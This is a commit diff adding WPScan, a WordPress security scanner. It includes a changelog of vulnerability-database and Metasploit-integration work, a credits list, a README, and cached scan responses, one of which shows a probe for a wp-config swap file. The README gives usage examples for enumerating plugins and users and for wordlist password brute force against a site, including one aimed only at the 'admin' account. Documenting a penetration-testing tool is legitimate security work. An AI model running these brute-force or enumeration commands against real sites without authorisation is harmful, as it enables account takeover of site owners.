WPScan files
This commit is contained in:
85
CHANGELOG
Normal file
85
CHANGELOG
Normal file
@@ -0,0 +1,85 @@
|
||||
# WPScan Changelog
|
||||
|
||||
Version 1.1 - Released 25.11.2011
|
||||
|
||||
Added a few plugin vulns to the database
|
||||
Fix for issue 54
|
||||
CREDITS file update
|
||||
Fix for Issue 51.
|
||||
Moved the uniq! method in generate_plugin_list
|
||||
SVN output redirected to /dev/null
|
||||
Added 2 new plugin vulns
|
||||
Added Clickdesk Live Chat Support XSS vuln
|
||||
Improved non responsive server method
|
||||
Improved update class to hide STDERR when there is no outbound conn
|
||||
Added adminimize plugin XSS.
|
||||
Fix for Issue 57, slight amendment.
|
||||
Fix for Issue 57
|
||||
Fix for Issue 50 (redirect)
|
||||
Added advanced-text-widget XSS vuln
|
||||
Added XSS vuln in all versions of WP-Cumulus
|
||||
Typo in bruter
|
||||
Couple of output changes + removal of flash gallery plugin duplicate
|
||||
Implemented version scrapping from RSS feed
|
||||
Issue 50
|
||||
Issue 50 fix
|
||||
404 checking on plugin detection implemented
|
||||
Full Path Disclosure (FPD) check added.
|
||||
timthumb.txt file uniqued by michee08
|
||||
Added Miche08 to credits
|
||||
Added new SQLI vulnerability in adrotate plugin
|
||||
Fixed bug where theme name needed URL encoding before being used in the timthumb method.
|
||||
Fix for issue 48. Not tested.
|
||||
Added new Zingiri Web Shop RCE vulnerability
|
||||
Fix for issue 48. Not tested.
|
||||
Cleaned up plugin enum output a little
|
||||
Output improvements, method name improvements
|
||||
GPL code changed for future YARD documentayion
|
||||
improved user input handling
|
||||
Improved error_log file detection
|
||||
Improved the timthumb method slightly
|
||||
Amended contribution from tripmonster
|
||||
Added contribution from tripmonster
|
||||
Moved update code under the banner so that it shows during an update
|
||||
Moved update code to run before anything
|
||||
Fixed a bug in wordpress detection
|
||||
Added timthumb reference, not everyone will know what timthumb is...
|
||||
small typo
|
||||
better timthumb discovery
|
||||
timthumb enumeration checks added
|
||||
Fix for issue 44 and updates to auto-update
|
||||
Commented update class
|
||||
Forgot to add class file
|
||||
Auto updating implemented
|
||||
Fix for issue 43
|
||||
Added 4 new SQLI and 1 RCE from ExploitDB
|
||||
Issue 39 tested and working
|
||||
Some work on issue 39
|
||||
Exploitation refactoring
|
||||
Fix for issue 31
|
||||
Fix for issue 34
|
||||
Bug with when session is 1
|
||||
Meterpreter interaction working
|
||||
Further work on metasploit intergration
|
||||
Some functionality of exploitation through MSFRPC implemented. NOT FINISHED
|
||||
type, uri and postdata XML tags added to all RFI vulns
|
||||
Output tweaking
|
||||
MSFRPC + WPSCAN XMLRPC CLIENT WORKING WITH ADDITIONAL METHODS
|
||||
XMLRPC Client in a working state
|
||||
Added WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability to vuln library
|
||||
MSF XMLRPC CLIENT PoC (NOT WORKING YET)
|
||||
Some slight output tidying up
|
||||
Added 3.1.2 Clickjacking Vulnerability
|
||||
Added a ton of new plugin vulns discovered by Ben Schmidt (@_supernothing)
|
||||
Addedd 2 new plugin vulns: Count per Day <= 2.17 and Filedownload 0.1
|
||||
Added Gianluca to CREDITS file
|
||||
Issue 25: patched plugin_vulns.xml
|
||||
removed WP 3.0.4 common_post_ID Blind SQLi false positive
|
||||
added 1-flash-gallery plugin vuln
|
||||
version update
|
||||
discover.advanced_version_fingerprinting method imeplemented
|
||||
Issue 23: Patch for /trunk/data/plugin_vulns.xml
|
||||
some small amendments
|
||||
wp versions file initial commit with only scores of 1
|
||||
updated published plugin vulns
|
||||
progress indicators
|
||||
17
CREDITS
Normal file
17
CREDITS
Normal file
@@ -0,0 +1,17 @@
|
||||
**CREDITS**
|
||||
|
||||
This file is to give credit to WPScan's contributors. If you feel your name should be in here, email ryandewhurst at gmail.
|
||||
|
||||
*WPScan Team*
|
||||
|
||||
Erwan.LR - @erwan_lr - (Project Developer)
|
||||
Gianluca Brindisi - @gbrindisi (Project Developer)
|
||||
Ryan Dewhurst - @ethicalhack3r (Project Lead)
|
||||
|
||||
*Other Contributors*
|
||||
|
||||
Alip AKA Undead - alip.aswalid at gmail.com
|
||||
michee08 - Reported and gave potential solutions to bugs.
|
||||
Callum Pember - Implemented proxy support - callumpember at gmail.com
|
||||
g0tmi1k - Additional timthumb checks + bug reports.
|
||||
Melvin Lammerts - Reported a couple of fake vulnerabilities - melvin at 12k.nl
|
||||
166
README
Normal file
166
README
Normal file
@@ -0,0 +1,166 @@
|
||||
__________________________________________________
|
||||
__ _______ _____
|
||||
\ \ / / __ \ / ____|
|
||||
\ \ /\ / /| |__) | (___ ___ __ _ _ __
|
||||
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
|
||||
\ /\ / | | ____) | (__| (_| | | | |
|
||||
\/ \/ |_| |_____/ \___|\__,_|_| |_|
|
||||
|
||||
WordPress Security Scanner by ethicalhack3r.co.uk
|
||||
__________________________________________________
|
||||
|
||||
*THE MOST UP TO DATE README FILE CAN BE FOUND HERE*
|
||||
|
||||
http://code.google.com/p/wpscan/wiki/README
|
||||
|
||||
==LICENSE==
|
||||
|
||||
WPScan - WordPress Security Scanner
|
||||
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
ryandewhurst at gmail
|
||||
|
||||
|
||||
==INSTALL==
|
||||
|
||||
WPScan comes pre-installed on BackTrack5 R1 in the /pentest/web/wpscan directory. WPScan only supports Ruby => 1.9.
|
||||
|
||||
-> Installing on Backtrack5 Gnome/KDE 32bit :
|
||||
|
||||
sudo apt-get install libcurl4-gnutls-dev
|
||||
sudo gem install --user-install mime-types typhoeus nokogiri json
|
||||
|
||||
|
||||
-> Installing on Debian/Ubuntu :
|
||||
|
||||
sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby
|
||||
sudo gem install typhoeus nokogiri json
|
||||
|
||||
|
||||
-> Installing on other nix : (not tested)
|
||||
|
||||
sudo gem install typhoeus nokogiri json
|
||||
|
||||
|
||||
-> Installing on Windows : (not tested)
|
||||
|
||||
gem install typhoeus ("Windows is not officially supported")
|
||||
gem install nokogiri json
|
||||
|
||||
|
||||
-> Installing on Mac OSX :
|
||||
|
||||
sudo gem install typhoeus nokogiri json
|
||||
|
||||
|
||||
==KNOWN ISSUES==
|
||||
|
||||
- Typhoeus segmentation fault
|
||||
Update curl to at least v7.21 (you may have to install it from sources)
|
||||
See http://code.google.com/p/wpscan/issues/detail?id=81
|
||||
|
||||
- If you have one the following errors : "-bash: !t: event not found", "-bash: !u: event not found"
|
||||
It happens whith enumeration : just put the 't' or 'u' before the 'p!' : '-e tp!' instead of '-e p!t'
|
||||
|
||||
|
||||
==WPSCAN ARGUMENTS==
|
||||
|
||||
--update Update to the latest revision
|
||||
|
||||
--url | -u <target url> The WordPress URL/domain to scan.
|
||||
|
||||
--force | -f Forces WPScan to not check if the remote site is running WordPress.
|
||||
|
||||
--enumerate | -e [option(s)] Enumeration.
|
||||
option :
|
||||
u usernames from id 1 to 10
|
||||
u[10-20] usernames from id 10 to 20 (you must write [] chars)
|
||||
p plugins
|
||||
p! only vulnerable plugins
|
||||
t timthumbs
|
||||
Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins
|
||||
If no option is supplied, the default is 'tup!'
|
||||
|
||||
--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not
|
||||
|
||||
--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed
|
||||
|
||||
--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
|
||||
|
||||
--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)
|
||||
|
||||
--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
|
||||
|
||||
--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)
|
||||
|
||||
--username | -U <username> Only brute force the supplied username.
|
||||
|
||||
--help | -h This help screen.
|
||||
|
||||
--verbose | -v Verbose output.
|
||||
|
||||
|
||||
==WPSCAN EXAMPLES==
|
||||
|
||||
Do 'non-intrusive' checks...
|
||||
|
||||
ruby wpscan.rb --url www.example.com
|
||||
|
||||
Do wordlist password brute force on enumerated users using 50 threads...
|
||||
|
||||
ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50
|
||||
|
||||
Do wordlist password brute force on the 'admin' username only...
|
||||
|
||||
ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin
|
||||
|
||||
Enumerate instaled plugins...
|
||||
|
||||
ruby wpscan.rb --url www.example.com --enumerate p
|
||||
|
||||
|
||||
==WPSTOOLS ARGUMENTS==
|
||||
|
||||
--help | -h This help screen.
|
||||
--Verbose | -v Verbose output.
|
||||
--update | -u Update to the latest revision.
|
||||
--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)
|
||||
--gpl Alias for --generate_plugin_list
|
||||
|
||||
|
||||
==WPSTOOLS EXAMPLES==
|
||||
|
||||
- Generate a new 'most popular' plugin list, up to 150 pages ...
|
||||
ruby wpstools.rb --generate_plugin_list 150
|
||||
|
||||
|
||||
===PROJECT HOME===
|
||||
|
||||
http://code.google.com/p/wpscan/
|
||||
|
||||
===SUBVERSION REPOSITORY===
|
||||
|
||||
svn checkout http://wpscan.googlecode.com/svn/trunk/ wpscan-read-only
|
||||
|
||||
===ISSUES===
|
||||
|
||||
http://code.google.com/p/wpscan/issues/list
|
||||
|
||||
===SPONSOR===
|
||||
|
||||
WPScan is sponsored by the RandomStorm Open Source Initiative.
|
||||
|
||||
Visit RandomStorm at http://www.randomstorm.com
|
||||
82
cache/browser/35504159817dfba1706512be7e023fba2055af83
vendored
Normal file
82
cache/browser/35504159817dfba1706512be7e023fba2055af83
vendored
Normal file
@@ -0,0 +1,82 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 3.5e-05
|
||||
body: "html,body,div,span,object,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,address,code,img,small,strong,dl,dt,dd,ol,ul,li,fieldset,form,label{margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;}body{font-size:14px;font-family:helvetica,arial,sans-serif;letter-spacing:0.2px;}ol,ul{list-style:none;}h2{font-size:27px;}h3{font-size:20px;}h4 span span strong{color:black!important;}a{color:#2279A2;text-decoration:none!important;}a:hover{text-decoration:underline!important;}body{background:#242424 url(img/background.jpg) repeat;}#wrap{width:1075px;margin:auto;}#header{margin-top:40px;position:relative;}#header h1 a{background:url(img/logo.png) no-repeat;width:270px;height:37px;text-indent:-9999px;float:left;}#menu{text-align:right;display:inline-block;position:absolute;right:0;}#menu li{float:left;margin-left:20px;font-size:14px;font-family:tahoma,verdana,helvetica,arial,sans-serif;}#menu li a{color:white;text-decoration:none!important;}.current_page_item a div{background-color:#87b440!important;}#menu li a:hover .menuLine{background-color:#136287;}#menu li .menuLine{color:white;background-color:#20485a;font-size:8px;font-weight:bold;padding:1px 3px 1px 0;font-family:helvetica,arial,sans-serif;}#menu li #active{background-color:#87b440;}#main{clear:both;overflow:hidden;}#main #primary{float:left;width:700px;margin-top:60px;position:relative;}#main #primary h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #primary #morePrev{background-color:#e3e3e3;border:1px solid white;padding:20px;}#main #primary #morePrev #more{float:right;}.topLine{height:10px;width:100%;background-color:#2279a2;}#main #sidebar{float:right;width:300px;margin-top:60px;}#main #sidebar h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #sidebar .widget{margin-bottom:20px;}#main #sidebar .widget ul{background-color:#e3e3e3;padding:20px;border:1px solid white;font-size:12px;}#main #primary .post-item{background:#e3e3e3;margin-bottom:38px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#main #primary .post-item h2{color:#2c2c2c;margin:0;line-height:1em;}.the-title{font-size:27px;text-align:center;}.post-item img{border:none;}.post-item p.meta{font-size:10px;}.post-item p.comments{position:absolute;bottom:10px;right:10px;}.post-item p{font-size:14px;line-height:20px;margin:20px 0 20px 0;}.post-item blockquote{color:#575757;font-style:italic;}.post-item code{background-color:#000000;border:1px solid #000000;border-radius:6px 6px 6px 6px;color:#D8D8D8;padding:10px;text-shadow:none;}.post-item ul{list-style:circle;}.topLine{height:10px;width:100%;background-color:#2279a2;}#sidebar #search{margin-left:50px;margin-right:0;height:40px;background-color:#e3e3e3;position:relative;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;margin-bottom:30px!important;}#sidebar #search #searchSubmit{background-image:url('img/searchIcon.png');width:29px;height:23px;background-repeat:no-repeat;position:absolute;right:10px;top:8px;}#sidebar #search input{position:relative;font-size:16px;color:#2c2c2c;padding:10px;border:none;background:none;width:190px;}.widget_twitter .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}.widgettitle a{text-decoration:none;color:white;}.widget_twitter li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}.widget_twitter li:first-child{padding-top:0;border-top:none;}.widget_twitter li:last-child{padding-bottom:0;border-bottom:none;}#recentcomments .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}#recentcomments li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}#recentcomments li:first-child{padding-top:0;border-top:none;}#recentcomments li:last-child{padding-bottom:0;border-bottom:none;}#comments{color:white;margin-bottom:2px;}.comments li{background:#e3e3e3;margin-bottom:1px;border:1px solid white;overflow:hidden;position:relative;padding:10px;}.comments p{margin-bottom:15px;font-size:16px;}#main_comment p{margin-bottom:2px;}#comment-datetime{font-size:10px;}#respond{background:#e3e3e3;margin-top:20px;margin-bottom:28px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#respond label{width:4em;float:left;text-align:left;margin-right:0.5em;display:block}#respond h3{padding:2px;}#respond p{padding:2px;}#comment-ads{margin-bottom:10px;}#footer{height:100px;}#copyright{color:#FFFFFF;font-size:12px;}"
|
||||
code: 200
|
||||
connect_time: 3.5e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css
|
||||
headers: |
|
||||
HTTP/1.1 200 OK
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:24 GMT
|
||||
Content-Type: text/css
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Last-Modified: Fri, 17 Feb 2012 19:44:20 GMT
|
||||
ETag: "a425-1af4-4b92e2bb8ad00"
|
||||
Vary: Accept-Encoding
|
||||
CF-Cache-Status: HIT
|
||||
Expires: Mon, 09 Jul 2012 12:15:24 GMT
|
||||
Cache-Control: public, max-age=14400
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 3.5e-05
|
||||
pretransfer_time: 3.4e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete:
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-content/themes/ethicalhack3r/style.css
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.101189
|
||||
status_message:
|
||||
time: 0.116178
|
||||
77
cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30
vendored
Normal file
77
cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30
vendored
Normal file
@@ -0,0 +1,77 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.6e-05
|
||||
body: ""
|
||||
code: 500
|
||||
connect_time: 2.6e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php
|
||||
headers: |
|
||||
HTTP/1.1 500 Internal Server Error
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:25 GMT
|
||||
Content-Type: text/html
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.6e-05
|
||||
pretransfer_time: 2.5e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete:
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-includes/rss-functions.php
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.112819
|
||||
status_message:
|
||||
time: 0.11291
|
||||
310
cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f
vendored
Normal file
310
cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 3.0e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Php Swp</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
